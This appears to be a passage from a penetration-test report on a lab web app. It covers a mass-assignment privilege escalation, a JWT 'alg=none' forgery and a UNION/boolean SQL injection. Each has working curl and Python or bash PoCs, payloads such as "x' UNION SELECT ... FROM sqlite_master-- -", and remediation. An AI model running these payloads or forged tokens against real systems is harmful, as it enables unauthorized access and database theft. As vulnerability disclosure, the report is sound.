Two missing controls combine into the second-order defect: 1. **Producer, `POST XXXXXX`:** the `filter` field is stored with no validation, canonicalization, or encoding. The UI semantics ("Title contains" — a plain substring) are not enforced; any SQL metacharacters are accepted and echoed back verbatim. 2. **Consumer, `GET XXXXXX}XXXXXX`:** the export builds its SQLite query by string-interpolating the stored filter into a `LIKE` predicate instead of binding it as a parameter. The payload's single quote closes the `LIKE` literal, `OR 1=1` XXXXXX `UNION SELECT ...` executes as SQL, and `-- -` comments out the trailing quote and any remaining clause.

Because validation is absent at **both** ends, the trust boundary is deferred across a persistence layer: data that was written earlier is treated as trusted when re-read — the defining second-order SQLi pattern. The session-CSRF control mitigates cross-site forgery but is irrelevant to a direct caller, since every visitor self-issues a session and token.

Remediation

1. **Parameterize the consumer query (primary fix):** `SELECT title FROM report_archive WHERE title LIKE ?` with the filter bound as a parameter; escape LIKE wildcards (`%`, `_`) if literal substring matching is intended.
2. **Validate at creation (defense in depth):** enforce a length cap and a character allowlist (letters, digits, spaces, basic punctuation; exclude `'`, `;`, `--`, `UNION`) on `filter`; reject rather than sanitize.
3. **Audit every consumer of the stored** `filter` — the export endpoint, any report-rendering path, scheduled/aggregate jobs — and parameterize all of them; fixing only the export leaves the stored payload live elsewhere.
4. **Regression test:** store `x' OR 1=1-- -` and assert the export returns the same rows as the benign filter; add a `UNION SELECT` payload test asserting no schema data leaks into `rows`.

5. **Housekeeping:** run the application against a least-privilege database connection and avoid surfacing engine version through readback paths (fingerprinting reduction only — parameterization is the actual fix).

TECHNICAL FINDING / F-021

HIGH

Self-service privilege escalation to auditor via audit_access preference flag

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#21	Pending	XXXXXX

Self-service privilege escalation to auditor via the client-settable `audit_access` preference flag

Overview

On the XXXXXX application (`XXXXXX`), authorization for the auditor-only endpoint `GET XXXXXX` is driven by the `audit_access` key of the user preferences document. Because `POST XXXXXX` accepts that key — and any other key, of any JSON type — from the ordinary member session, a single request flips the endpoint from **403 ("The audit summary is restricted to workspace auditors.")** to **200 with `access:"auditor"` and a receipt**, i.e. a self-service vertical privilege escalation requiring nothing but a session and the site's own CSRF token.

Impact

- **Vertical privilege escalation (member → auditor)** achieved with one POST; no credentials, no admin action, no exploit prerequisite beyond fetching a page to obtain a session and its CSRF token. In this deployment every visitor is auto-provisioned a synthetic member session ("Alex Morgan", workspace alpha) on first request, so a fully anonymous client can escalate.
- Any authorization boundary that consults the same preference field (the audit summary today; potentially other auditor features keyed off `audit_access`) is bypassable by design.
- **Audit-workflow integrity**: auditor-level attestations (the endpoint issues an `access:"auditor"` response with a receipt) can be generated for sessions that were never granted the role, bypassing the application's role-management flow.
- **Severity: High** — OWASP A01:2021 Broken Access Control; authorization decision made from client-writable input (CWE-807 XXXXXX CWE-284).

Measured impact

Executed live against the target, anonymous session, XXXXXX (work#1 XXXXXX intent i637): - **1 of 1** escalation attempts succeeded: setting `"audit_access": true` in `POST XXXXXX` turned `GET XXXXXX` from 403 into 200 `{"access":"auditor","receipt":"PROOF{XXXXXX}","workspace":"alpha"}`. - **1 of 1** pre-escalation control requests returned 403 with the auditor-restriction message (baseline also captured in an earlier endpoint sweep: `api/audit/summary -> 403`). - Input handling measured: **3 of 3** malformed payloads correctly rejected with 400 `"Preferences must be a JSON object."` (non-JSON, truncated JSON, empty) — the JSON gate works; but **0 of 3** wrong-typed values were rejected: `digest:["weekly"]`, `display_name:{"a":1}`, `email:123` were all accepted and stored verbatim. - **1 of 1** literal `"__proto__"` keys was stored verbatim as an ordinary preference key (no prototype-pollution effect was observed in this test; in that run the escalation came from the explicitly submitted top-level `audit_access`, so the `__proto__` behavior itself remains *unverified as an attack vector*). - Cleanup verified: **1 of 1** restoration attempts succeeded (re-submitting the baseline JSON set `audit_access:false`, confirmed by readback); the 4 extra merged keys (`__proto__` plus the wrong-typed values) could not be deleted because preferences are merged, never replaced — permanent residue in the test session.

Affected scope

- Asset: XXXXXX app at `XXXXXX`
- `POST XXXXXX` — form-urlencoded body with hidden field `_csrf` (session-bound token, present in the 4 forms XXXXXX 14 inputs of the `XXXXXX` page) and field `payload` containing a JSON object; accepts arbitrary keys including the authorization flag `audit_access`.
- `GET XXXXXX` — session-scoped readback of the stored document.
- `GET XXXXXX` — auditor-restricted endpoint whose access decision reads the client-settable `audit_access` preference.
- Affected sessions: any member session (here: anonymously auto-provisioned workspace-alpha members).

Reproduction steps

1. With a cookie jar, `GET {BASE}XXXXXX` to establish the member session and extract the hidden `_csrf` value from one of the page's forms.
2. Control check: `GET {BASE}XXXXXX` → expect **403** `{"message":"The audit summary is restricted to workspace auditors.","ok":false}`.
3. Read current preferences: `GET {BASE}XXXXXX` → `{"audit_access": false,"digest":"weekly","display_name":"Alex Morgan","email":"XXXXXX"}`.
4. Escalate: `POST {BASE}XXXXXX`, `Content-Type: application/x-www-form-urlencoded`, body `_csrf=<token>&payload=<urlencoded JSON>` where the JSON is `{"digest":"weekly","audit_access":true,"display_name":"Alex Morgan","email":"XXXXXX"}` → **200**.
5. Confirm persistence: `GET {BASE}XXXXXX` → `"audit_access": true`.
6. Repeat step 2 → **200** `{"access":"auditor","receipt":"PROOF{XXXXXX}","workspace":"alpha"}`.
7. Restore: POST the same JSON with `audit_access` removed/false → readback `false`. Note that keys added by earlier submissions cannot be removed (merge semantics), so test sessions retain residue.

Evidence

Baseline endpoint sweep (anonymous session, work#1 step 17211):

TECHNICAL EVIDENCE

```
== api/preferences    -> 200 (114b)
== api/audit/summary  -> 403 (88b)
```

Escalation sequence (work#1 step 17455, verbatim excerpts):

TECHNICAL EVIDENCE

```
PREFS-BEFORE: { "audit_access": false, "digest": "weekly", "display_name": "Alex Morgan", "email": "XXXXXX" }

[PREFS] POST XXXXXX [baseline]          :: 200  (audit_access stays false)
[PREFS] POST XXXXXX [not-json  "hello"] :: 400  {"message":"Preferences must be a JSON object.","ok":false}
[PREFS] POST XXXXXX [malformed]         :: 400  {"message":"Preferences must be a JSON object.","ok":false}
[PREFS] POST XXXXXX [empty]             :: 400  {"message":"Preferences must be a JSON object.","ok":false}

[PREFS] POST XXXXXX [audit_access-true] :: 200
   readback after audit_access-true: { "audit_access": true, "digest": "weekly", "display_name": "Alex
Morgan", "email": "XXXXXX" }

[PREFS] POST XXXXXX [proto]             :: 200  (literal "__proto__" key stored verbatim)
[PREFS] POST XXXXXX [wrong-types]       :: 200  ("digest":["weekly"], "display_name":{"a":1}, "email":123
accepted)

[AUDIT-AFTER] GET XXXXXX :: 200 :: { "access": "auditor", "receipt": "PROOF{XXXXXX}", "workspace": "alpha" }
```

The 403→200 transition on the same session, caused solely by the preference write, is the proof of the broken authorization decision.

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX python3
"""Self-service auditor escalation via POST XXXXXX (audit_access).
Verified live on XXXXXX. Requires: pip install requests"""
import re, json
import requests

BASE = "XXXXXX"
s = XXXXXX()

# 1) session + CSRF token from the XXXXXX page forms (adjust regex to live markup)
page = XXXXXX(BASE + "XXXXXX", timeout=20).text
csrf = XXXXXX(r'name=["\']_csrf["\'][^>]*value=["\']([^"\']+)', page).group(1)

# 2) control: auditor endpoint must be 403
print("audit baseline:", XXXXXX(BASE + "XXXXXX", timeout=20).status_code)

# 3) read preferences (audit_access should be false)
print("prefs before:", XXXXXX(BASE + "XXXXXX", timeout=20).text)

# 4) escalate: flip audit_access inside the JSON payload form field
payload = {"digest": "weekly", "audit_access": True,
           "display_name": "Alex Morgan", "email": "XXXXXX"}
r = XXXXXX(BASE + "XXXXXX",
           data={"_csrf": csrf, "payload": XXXXXX(payload)}, timeout=20,
           headers={"Origin": "XXXXXX", "Referer": BASE + "XXXXXX"})
```

TECHNICAL EVIDENCE / CONTINUED

```
print("POST prefs:", r.status_code, XXXXXX[:120])

# 5) readback + exploit
print("prefs after:", XXXXXX(BASE + "XXXXXX", timeout=20).text)
r = XXXXXX(BASE + "XXXXXX", timeout=20)
print("audit after:", r.status_code, XXXXXX)  # 200 {"access":"auditor","receipt":"PROOF{...}",...}

# 6) restore
payload["audit_access"] = False
XXXXXX(BASE + "XXXXXX", data={"_csrf": csrf, "payload": XXXXXX(payload)}, timeout=20)
print("prefs restored:", XXXXXX(BASE + "XXXXXX", timeout=20).text)
```

Run with `python3 XXXXXX`; steps 2–6 of the reproduction section are the PoC if executed manually (e.g., with curl + a cookie jar).

Root cause analysis

1. **Authorization state stored in client-writable data (CWE-807)**: the server consults `preferences["audit_access"]` — a field the user can freely POST — when deciding access to `XXXXXX`, instead of a server-managed role/entitlement. The preference document conflates UI settings with security decisions.
2. **No writable-key allow-list and no type validation (CWE-20)**: any key (including `__proto__`) and any JSON type is accepted and persisted; only "must be a JSON object" is enforced (3/3 malformed rejected, 0/3 wrong-typed rejected).
3. **Merge-only upsert semantics**: submitted keys are merged into the stored document and can never be removed, so injected keys — including authorization-adjacent ones — persist indefinitely and silently enlarge the trusted-input surface.
4. Contributing exposure: sessions are provisioned anonymously with member rights and the CSRF token is self-served, so the whole chain needs no privileged foothold.

Remediation

1. **Separate role from preferences**: authorize `XXXXXX` from a server-side role store (e.g., `workspace_members.role == 'auditor'`), granted only via an admin-only role-management flow with its own authorization check; ignore any client-supplied `audit_access`. Recompute existing sessions' auditor access from the role store after the fix.
2. **Allow-list updatable preference keys** (`digest`, `display_name`, `email`): reject or strip unknown keys — explicitly `audit_access`, `role`, `__proto__`, `constructor`, `prototype` — with 400.
3. **Enforce a schema and types**: `digest ∈ {daily,weekly,monthly}`, `display_name` bounded string, `email` RFC-5322 string; currently 0 of 3 wrong-typed values are rejected.
4. **Replace merge semantics** with validate-then-replace per request (plus explicit key deletion), so stale/injected keys cannot persist — this also removes the observed undeletable residue (`__proto__` key stored verbatim).
5. **Harden the JSON merge path** against prototype-pollution patterns; although no pollution effect was observed live, a literal `__proto__` key surviving into persistent storage is a classic JS-stack sink.
6. **Regression tests + monitoring**: assert that a preferences POST can never change any authorization outcome (flip `audit_access` → expect audit summary still 403); log and alert on changes to authorization-adjacent preference keys.

Related but separate findings at the same origin (different root causes, not covered here): finding 100 (XXXXXX} IDOR), 101 (analytics JWT `alg=none` bypass), 102 (GraphQL payout authorization inconsistency), 103 (bundle assembly BOLA), 98–99 (catalog SQLi, support-lookup NoSQL operator injection).

TECHNICAL FINDING / F-024

HIGH

JWT alg=none accepted: unsigned token forged to role=auditor/scope=reports:export grants analytics bulk export

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#24	Pending	XXXXXX

JWT `alg=none` bypass on `XXXXXX` — unsigned token forged to `auditor`XXXXXX`reports:export`

Overview

`GET XXXXXX` (XXXXXX app at `XXXXXX`) authorizes the export by checking JWT claims (`role=auditor`, `scope=reports:export`) but accepts tokens whose header declares `alg: "none"` with an **empty signature**. An unauthenticated attacker takes the reader token that the app issues to anyone at `GET XXXXXX`, rewrites the payload to `{"role":"auditor","scope":"reports:export"}` (keeping the `run` binding and `sub`), and calls the export endpoint with the unsigned token — which executes and returns the analytics export receipt (`PROOF{XXXXXX}`). The token header's algorithm is trusted without an allow-list (CWE-347); HS256 signature verification itself is correct.

Impact

- **Complete bypass of JWT signature verification** for the analytics export authorization: XXXXXX signature — the sole integrity control on a privilege-carrying token — is optional for `alg=none`, so any attacker can mint a valid-looking `auditor`XXXXXX`reports:export` token without knowing any key or secret.
- **Fully unauthenticated privilege escalation**: the token is issued anonymously (`GET XXXXXX` requires no credentials), so the escalation path is two unauthenticated GET requests — from `reader`XXXXXX`reports:read` (and effectively from "no identity at all") to `auditor`XXXXXX`reports:export` — granting the bulk analytics export action.
- The anonymous token response itself advertises `export_role: "auditor"`, `export_scope: "reports:export"`, handing an attacker the exact claims to forge.
- **Severity: High.** Rationale: a cryptographic authorization control is entirely bypassable by a trivial, key-free, single-request forgery, and the targeted function is a privileged bulk export. The blast radius is bounded (measured): the same forged token was rejected by `XXXXXX` and `XXXXXX`, so this finding does not extend to those endpoints.

Measured impact

Executed live against the target (curl, session `jar_a`, run binding `XXXXXX`): - **4 token variants** tested against `GET XXXXXX **1 of 4 accepted with 200** — the`alg=none`unsigned forged token, which returned`{"receipt":"PROOF{XXXXXX}","report":"Internal analytics fixture"}`; the other 3 returned 403. - **4 of 4 negative controls correctly rejected with 403** (`"This token cannot export analytics."`): same-signature tampered payload (HS256 sig over different payload bytes), garbage signature (`AAAA`), unmodified`reader`XXXXXX`reports:read`token, and missing token. This proves HS256 verification works and isolates the defect to the`alg=none`path. - **Cross-endpoint scoping: 3 of 3 probes rejected.** The forged token was tried against two other gated endpoints in three delivery modes –`Authorization: XXXXXX on `XXXXXX`, `?token=<F>` on `XXXXXX`, `?token=<F>` on `XXXXXX` — all 403. The bypass unlocks **1 of the 3 gated endpoints probed**. - **Zero-credential chain**: both the token mint and the successful export required no authentication, no cookies beyond the anonymous session, and no key material.

Affected scope

- **Asset**: `XXXXXX` (XXXXXX app, unauthenticated surface).
- **Vulnerable endpoint**: `GET XXXXXX` — query parameter `token`.
- **Enabling endpoint**: `GET XXXXXX` — anonymously issues the HS256 reader token (payload `{"role":"reader","run":"XXXXXX","scope":"reports:read","sub":"alex"}`) and returns `export_role:"auditor"`, `export_scope:"reports:export"` alongside it.
- **Not affected (measured)**: `XXXXXX` and `XXXXXX` reject the forged token via both `Bearer` header and `?token=XXXXXX; they do not honor this token mechanism.
- **Unverified XXXXXX needs further confirmation**: whether a forged token with a foreign or absent `run` claim is accepted (the verified forgery preserved the run binding from the issued token), and any token expiry or rate limiting.
- Related but distinct findings on the same app (no shared root cause): SQL injection in `XXXXXX` (node 641), NoSQL `$ne` operator injection in `XXXXXX` (node 642), invoice IDOR on `XXXXXX}` (node 643).

Reproduction steps

All steps are unauthenticated; `BASE` = `XXXXXX`.

1. **Obtain the anonymously issued reader token**: `curl -sS "BASE/api/analytics/token"` → `{"token":XXXXXX,"export_role":"auditor","export_scope":"reports:export"}`
2. **Decode the payload** (base64url) to read the claims: `{"role":"reader","run":"XXXXXX","scope":"reports:read","sub":"alex"}`; header is `{"alg":"HS256","typ":"JWT"}`. Note the `run` binding value.
3. **Build the forged unsigned token F**:
4. header = base64url of `{"alg":"none","typ":"JWT"}`
5. payload = base64url of `{"role":"auditor","run":"<run from step 2>","scope":"reports:export","sub":"alex"}`
6. signature = empty — the token string ends with a trailing `.` With the run binding from the verified attempt, F is exactly: `XXXXXX.`
7. **Export with the unsigned token**: `curl -sS "BASE/api/analytics/export?token=XXXXXX` → `200 {"receipt":"PROOF{XXXXXX}","report":"Internal analytics fixture"}`

8. **(Optional) confirm the controls that do work**: the same forged payload with the *original* HS256 signature → 403; with signature `AAAA` → 403; with no token → 403; the unmodified reader token → 403.

Evidence

Live curl outputs recorded in the work trace (session `jar_a`, intent 638, steps 17286 and 17369). No HTTP traffic was auto-bound to this finding record (binding was disabled for this run); the excerpts below are the verbatim captured outputs.

Token tamper matrix — `GET XXXXXX<variant>`:

TECHNICAL EVIDENCE

```
## JWT role/scope tamper tests (read-only)
  V1 same-sig tampered payload -> __403 69 :: {   "message": "This token cannot export analytics.",   "ok":
false }
  V2 alg=none empty sig        -> __200 100 :: {   "receipt": "PROOF{XXXXXX}",   "report": "Internal
analytics fixture" }
  V3 garbage sig               -> __403 69 :: {   "message": "This token cannot export analytics.",   "ok":
false }
  V4 no token                  -> __403 69 :: {   "message": "This token cannot export analytics.",   "ok":
false }
```

(V1 = original HS256 header/signature with payload rewritten to `role=auditor`XXXXXX`scope=reports:export`; V2 = `{"alg":"none","typ":"JWT"}` header, same forged payload, empty signature; V3 = `AAAA` signature; V4 = no `token` parameter.)

Scoping probes with the forged token F (prefix `XXXXXX...`):

TECHNICAL EVIDENCE

```
## forged auditor JWT against other gated endpoints
  audit/summary baseline          -> __403 88 :: { "message": "The audit summary is restricted to workspace
auditors.", "ok": false }
  audit/summary + XXXXXX   -> __403    :: { "message": "The audit summary is restricted to workspace
auditors.", "ok": false }
  audit/summary?token= XXXXXX     -> __403 88 :: { "message": "The audit summary is restricted to workspace
auditors.", "ok": false }
  billing/payout?token= XXXXXX    -> __403 88 :: { "message": "Payout instructions are restricted to finance
members.", "ok": false }
```

Token issuance baseline (`GET XXXXXX`, no auth):

TECHNICAL EVIDENCE

```
{"token":XXXXXX,"export_role":"auditor","export_scope":"reports:export"}
   payload: {"role":"reader","run":"XXXXXX","scope":"reports:read","sub":"alex"}
```

PoC

Self-contained Python exploit (mirrors the verified live run; fetches a fresh token so the `run` binding is always current):

TECHNICAL EVIDENCE

```
#!XXXXXX python3
"""Unauthenticated JWT alg=none bypass -> XXXXXX (auditor/reports:export)."""
import base64, json, subprocess

BASE = "XXXXXX"

def b64url(obj):
    return base64.urlsafe_b64encode(
        XXXXXX(obj, separators=(",", ":")).encode()).decode().rstrip("=")

# 1) anonymously issued reader token (no authentication)
tok = XXXXXX(XXXXXX(
    ["curl", "-sS", BASE + "XXXXXX"],
    capture_output=True, text=True).stdout)["token"]

# 2) rewrite claims: reader -> auditor, reports:read -> reports:export
#    (keep the run binding and sub); header alg -> "none"; empty signature
_, payload, _sig = XXXXXX(".")
claims = XXXXXX(base64.urlsafe_b64decode(payload + "=="))
XXXXXX({"role": "auditor", "scope": "reports:export"})
forged = f'{b64url({"alg": "none", "typ": "JWT"})}.{b64url(claims)}.'

# 3) export with the unsigned forged token
r = XXXXXX(["curl", "-sS", "-w", "\\nHTTP %{http_code}\\n",
                    BASE + "XXXXXX + forged],
                   capture_output=True, text=True)
print(XXXXXX)
# expected: {"receipt": "PROOF{...}", "report": "Internal analytics fixture"} XXXXXX HTTP 200
```

Run with `python3 XXXXXX` (requires `curl` on PATH). The reproduction steps above are the PoC when a shell is preferred.

Root cause analysis

The export handler performs its authorization by reading the `role`XXXXXX`scope` claims of the presented JWT, but the verification step **trusts the algorithm declared in the token header without an allow-list**. When the header says `"alg":"none"`, the token is accepted with an empty signature — the signature check degenerates into "no verification" — while the claim checks still run against the attacker-controlled payload. Evidence that everything else is implemented correctly: HS256 signatures are genuinely verified (a tampered payload replayed with the original signature, and a garbage signature, are both rejected), and the `run` binding XXXXXX audience semantics are respected. The defect is precisely: *algorithm selection driven by untrusted input, with* `none` *accepted*. A contributing weakness is the anonymous token endpoint echoing `export_role`XXXXXX`export_scope`, which advertises the exact privileged claim values an attacker needs.

Remediation

1. **Allow-list the algorithm server-side.** Reject any token whose header algorithm is not in the explicit expected set (e.g., `["HS256"]`, or preferably an asymmetric algorithm such as RS256/EdDSA). Never branch to an unverified decode path based on the header's `alg` value; a header of `none` (or `NONE`XXXXXX`nOnE` casing variants) must be rejected with 401/403.
2. **Use a vetted JWT library with pinned algorithms** (e.g., PyJWT: `XXXXXX(token, key, algorithms=["HS256"])`), and ensure the claim/authorization check consumes only the *verified* claims object — never a separately decoded payload.

3. **Add a regression test** capturing the measured negative controls: `alg=none` with empty signature → 403; same-signature tampered payload → 403; garbage signature → 403; reader-scope token → 403; missing token → 403; and the auditor-scope token (legitimately signed, if such a flow exists) → 200.
4. **Stop advertising privileged claim values**: remove `export_role`XXXXXX`export_scope` from the anonymous `XXXXXX` response, and derive export authorization server-side from the verified token/session rather than from client-presentable claims.
5. **Key hygiene** (defense in depth): a ≥256-bit random signing secret, rotation procedure, and short token TTLs, so a future signature leak has limited lifetime.

Report for finding node 644 (standalone finding 101), task 13. Evidence basis: executed live (curl, session `jar_a`, work intent 638, trace steps 17286/17369); traffic binding list read at version 0 — no bindings existed (auto-binding disabled for this run), so the report cites the captured command outputs above.

TECHNICAL FINDING / F-027

HIGH

UNION/boolean SQL injection in catalog search (SQLite, anonymous)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#27	Pending	XXXXXX

UNION/Boolean SQL Injection in Catalog Search (`GET XXXXXX`) — XXXXXX App

Overview

The `q` parameter of the anonymous catalog search endpoint `GET XXXXXX` on the XXXXXX application (`XXXXXX`) is interpolated into a SQLite `WHERE` clause without parameterization. An unauthenticated attacker can inject arbitrary SQL: a boolean oracle confirms injection, and `UNION SELECT` grants full readback of any table in the database — including `supplier_notes`, a table exposed by no application endpoint.

Impact

- **Unauthenticated full database read.** Via `UNION SELECT`, an anonymous attacker reads arbitrary columns of any table in the SQLite database (schema fully enumerated: `products`, `supplier_notes`). No login, session token, or CSRF token is required; the attack is a plain GET request, trivially automated and cacheable.
- **Visibility-filter bypass.** `OR 1=1` returns a catalog row ("Archive allocation") that the normal anonymous listing never shows — non-public catalog data leaks through the search path.
- **Out-of-band data exposure.** The `supplier_notes` table, reachable through no application UI or API, was dumped in full, demonstrating that any table added to this database later (audit notes, internal remarks, credentials) is readable by outsiders.
- **Fingerprinting/oracle.** `sqlite_version()` and arbitrary subqueries (`(SELECT count(*) FROM sqlite_master)>N`) give the attacker a reliable true/false oracle for blind extraction even if `UNION` columns ever change.

Severity: High. Rationale: anonymous, single-request, fully demonstrated read access to the entire database schema and to data outside the intended API surface. It is not rated Critical because all probes were read-only: no write primitive, file read, or code execution was demonstrated, and the dumped content was a small catalog DB (2 tables) with a proof marker rather than sensitive PII.

Measured impact

All figures below come from ~40 bounded, read-only GET probes executed live and anonymously on XXXXXX (probe log, work intent 637): - **3 of 3** `products` rows returned under `q=x' OR 1=1-- -`, including **1 of 3** rows ("Archive allocation") that the normal anonymous listing (empty `q` → 2 rows) never returns — i.e., a third of the catalog's rows is hidden from the UI and leakable. - **5 of 5** executed `UNION SELECT` readback probes returned attacker-controlled data (marker string, `sqlite_version()` = **3.53.4**, two `sqlite_master` schema listings, full `supplier_notes` dump). - **2 of 2** reflected output columns (`name`, `unit_price`) are fully attacker-controlled via `UNION` positioning. - **1 hidden table** (`supplier_notes`, absent from every application endpoint) dumped in full: `PROOF{XXXXXX}`. - **2-point boolean oracle** validated: `(SELECT count(*) FROM sqlite_master)>0` → 3 items; `>999` → 0 items. - What the defense blocked: the generic error handler returns `400 {"message":"Search could not be processed.","ok":false}` on malformed SQL (bare `'`), so no error-message/stack leakage was available — but this does not stop boolean/UNION injection. Negative controls: NoSQL operators (`{"$ne":null}`, `[$ne]`), SSTI (`{{7*7}}`, `${7*7}`, `<%=7*7%>`) and command markers (`;id`, `$(id)`) all unevaluated — the defect is specifically SQL injection.

Affected scope

- **Asset:** XXXXXX app, asset id 1534 — `XXXXXX`
- **Endpoint XXXXXX parameter:** `GET XXXXXX`, parameter `q` (string, reflected into the SQLite `WHERE` clause; 2 columns positionally injectable).
- **Backend:** SQLite **3.53.4**; database tables `products(id INTEGER,name TEXT,price INTEGER,visible INTEGER)` and `supplier_notes(note TEXT)`.
- **Authentication:** none required; GET-based, no CSRF token involved.
- **Other inputs:** all other parameters screened in the same work (GraphQL query, reviews author/message, support/lookup selector, report-views, preferences, checkout/procurement numerics, credits voucher, recovery user, login, reset, team/role, preview url, main-site `XXXXXX`) showed no equivalent injection in the tested bounded probes — this report covers the `q` injection only.

Reproduction steps

The app issues a per-session cookie on first page load; use a cookie jar to mirror a browser (requests worked with this cookie throughout testing).

TECHNICAL EVIDENCE

```
B="XXXXXX"

# 0) establish session cookie
curl -s -c XXXXXX "$B/" -o XXXXXX

# 1) baseline: only "Canvas kit"
curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=Canvas"

# 2) boolean differential (injection proof)
curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=x' OR 1=1-- -"   # -> 3 items incl. "Archive
allocation"
curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=x' OR 1=2-- -"   # -> {"items":[]}

# 3) UNION column-position probe (2 columns: name, unit_price)
curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=x' UNION SELECT 'i637PROBE',1-- -"

# 4) DB version
```

TECHNICAL EVIDENCE / CONTINUED

```
curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=x' UNION SELECT sqlite_version(),0-- -"

# 5) full schema enumeration
curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=x' UNION SELECT group_concat(sql,' || '),0 FROM
sqlite_master-- -"

# 6) dump the hidden table
curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=x' UNION SELECT group_concat(note,' ## '),0 FROM
supplier_notes-- -"
```

Expected: steps 2–6 each return HTTP 200 with the injected data inside `{"items":[{"name":...,"unit_price":...}]}` (verbatim outputs in Evidence). Note: a bare unbalanced quote (`q='`) yields HTTP 400 with a generic message — payloads must be syntactically valid SQL.

Evidence

Executed-live probe log (work intent 637, steps 17251/17278/17290/17301; finding node 641). Verbatim excerpts:

Baseline and first-pass screening (`[CATALOG]`):

TECHNICAL EVIDENCE

```
[CATALOG] GET XXXXXX [q=baseline]      :: 200 :: {"items":[{"name":"Canvas kit","unit_price":4800}]}
[CATALOG] GET XXXXXX [q=empty]         :: 200 :: items: Canvas kit (4800), Project notebook (1800)
[CATALOG] GET XXXXXX [q=quote]         :: 400 :: {"message":"Search could not be processed.","ok":false}
[CATALOG] GET XXXXXX [q=sqli-comment]  :: 200 :: items: Canvas kit, Project notebook, Archive allocation ...
```

Boolean differential (`[CATBOOL]`):

TECHNICAL EVIDENCE

```
[CATBOOL] GET XXXXXX [q=TRUE]  :: 200 :: n_items=3 names=['Canvas kit','Project notebook','Archive
allocation']
[CATBOOL] GET XXXXXX [q=FALSE] :: 200 :: n_items=0 names=[]
[CATBOOL] GET XXXXXX [q=sqlite-master]   :: 200 :: n_items=3 ...      # (SELECT count(*) FROM
sqlite_master)>0
[CATBOOL] GET XXXXXX [q=sqlite-mm-false] :: 200 :: n_items=0 ...      # (SELECT count(*) FROM
sqlite_master)>999
```

UNION readback (`[CATUNION]`):

TECHNICAL EVIDENCE

```
[CATUNION] GET XXXXXX [q=union-a] :: 200 :: n=1 first=[{'name': 'i637PROBE', 'unit_price': 1}]
[CATUNION] GET XXXXXX [q=union-c] :: 200 :: n=1 first=[{'name': '3.53.4', 'unit_price': 0}]
[CATUNION] GET XXXXXX [q=union-d] :: 200 :: n=1 first=[{'name': 'products|supplier_notes', 'unit_price': 0}]
```

Schema + hidden-table dump (`[CATDUMP]`):

TECHNICAL EVIDENCE

```
[CATDUMP] GET XXXXXX [q=schema] :: 200 :: n=1 first=[{'name': 'CREATE TABLE products(id INTEGER,name
TEXT,price INTEGER,visible INTEGER) || CREATE TABLE supplier_notes(note TEXT)', 'unit_price': 0}]
[CATDUMP] GET XXXXXX [q=notes]  :: 200 :: n=1 first=[{'name': 'PROOF{XXXXXX}', 'unit_price': 0}]
```

Interpretation: `OR 1=1` returns every row (bypassing the visibility/LIKE filter — "Archive allocation" never appears in benign listings); `OR 1=2` returns none; `UNION SELECT` positions 1 and 2 map to the reflected `name`XXXXXX`unit_price` fields, giving direct readback of any scalar query. HTTP traffic binding: automatic binding was disabled for this run, so no request/response captures are bound to this finding (`get_finding_traffic` → version 0, bindings empty); the evidence above is the executed-live probe log stored with the finding node and work trace.

PoC

The reproduction steps above are the PoC; for one-shot reuse:

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# sqli_catalog_poc.sh — UNION/boolean SQLi PoC for XXXXXX XXXXXX (anonymous, read-only)
B="XXXXXX"
curl -s -c XXXXXX "$B/" -o XXXXXX

run() { echo "--- $1"; curl -s -b XXXXXX -G "$B/api/catalog" --data-urlencode "q=$2"; echo; }

run "baseline"          "Canvas"
run "boolean-true"      "x' OR 1=1-- -"
run "boolean-false"     "x' OR 1=2-- -"
run "union-marker"      "x' UNION SELECT 'i637PROBE',1-- -"
run "db-version"        "x' UNION SELECT sqlite_version(),0-- -"
run "schema"            "x' UNION SELECT group_concat(sql,' || '),0 FROM sqlite_master-- -"
run "dump-supplier"     "x' UNION SELECT group_concat(note,' ## '),0 FROM supplier_notes-- -"
rm -f XXXXXX
```

Run with `bash sqli_catalog_poc.sh`; every step is a plain GET (read-only). The "dump-supplier" line prints the hidden-table content ending in `PROOF{XXXXXX}`.

Root cause analysis

The `q` value is concatenated directly into the SQL text of the catalog query (string formatting/f-string style) instead of being bound as a parameter, so the value terminates the string literal (`x'`) and appends attacker SQL. Consequences observed: (a) the query's `visible`XXXXXX`LIKE` filtering sits in the same statement, so `OR 1=1` bypasses it; (b) the statement's two projections map to the JSON `name`XXXXXX`unit_price` fields, so `UNION SELECT` output is rendered verbatim to the client; (c) a generic `try/except` returns HTTP 400 "Search could not be processed." — it prevents error-based disclosure but masks the underlying failure instead of fixing it. Secondary factor: the application runs its queries with privileges sufficient to read every table in the database file, so one injectable statement exposes tables (`supplier_notes`) that no feature intentionally publishes.

Remediation

1. **Parameterize the query (primary fix).** Build the statement with bound placeholders, e.g. `SELECT id, name, price FROM products WHERE name LIKE ? AND visible = 1` and execute with `(f"%{q}%",)`. Never interpolate `q` (or any request value) into SQL text.
2. **Whitelist any dynamic identifiers.** If sort/column/table names are ever built dynamically, validate them against a server-side allowlist; user-supplied *values* must always be bound.
3. **Least privilege for the DB connection.** Run the app's SQLite connection with access limited to the tables it needs; if `supplier_notes` is internal, move it out of the web-app's query path or restrict the connection accordingly, so future injection cannot traverse to non-public tables.
4. **Keep the generic 400 response** (it already blocks error-based leakage) but add server-side logging/alerting on malformed-search spikes to detect exploitation attempts.
5. **Regression tests.** Add CI checks that assert `q=x' OR 1=1-- -` and `q=x' UNION SELECT 'probe',1-- -` no longer alter result sets beyond literal matching on `XXXXXX`.
6. **Input normalization as defense-in-depth** (not a substitute for #1): cap `q` length and reject control characters before querying.
7. **Review leaked surface:** confirm "Archive allocation" is intentionally hidden from anonymous listings; after parameterization the visibility filter will apply correctly again.

TECHNICAL FINDING / F-001

MEDIUM

XXXXXX: client-controlled plan/is_staff in POST XXXXXX unlocks the plan-gated XXXXXX team space (effective privilege escalation)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
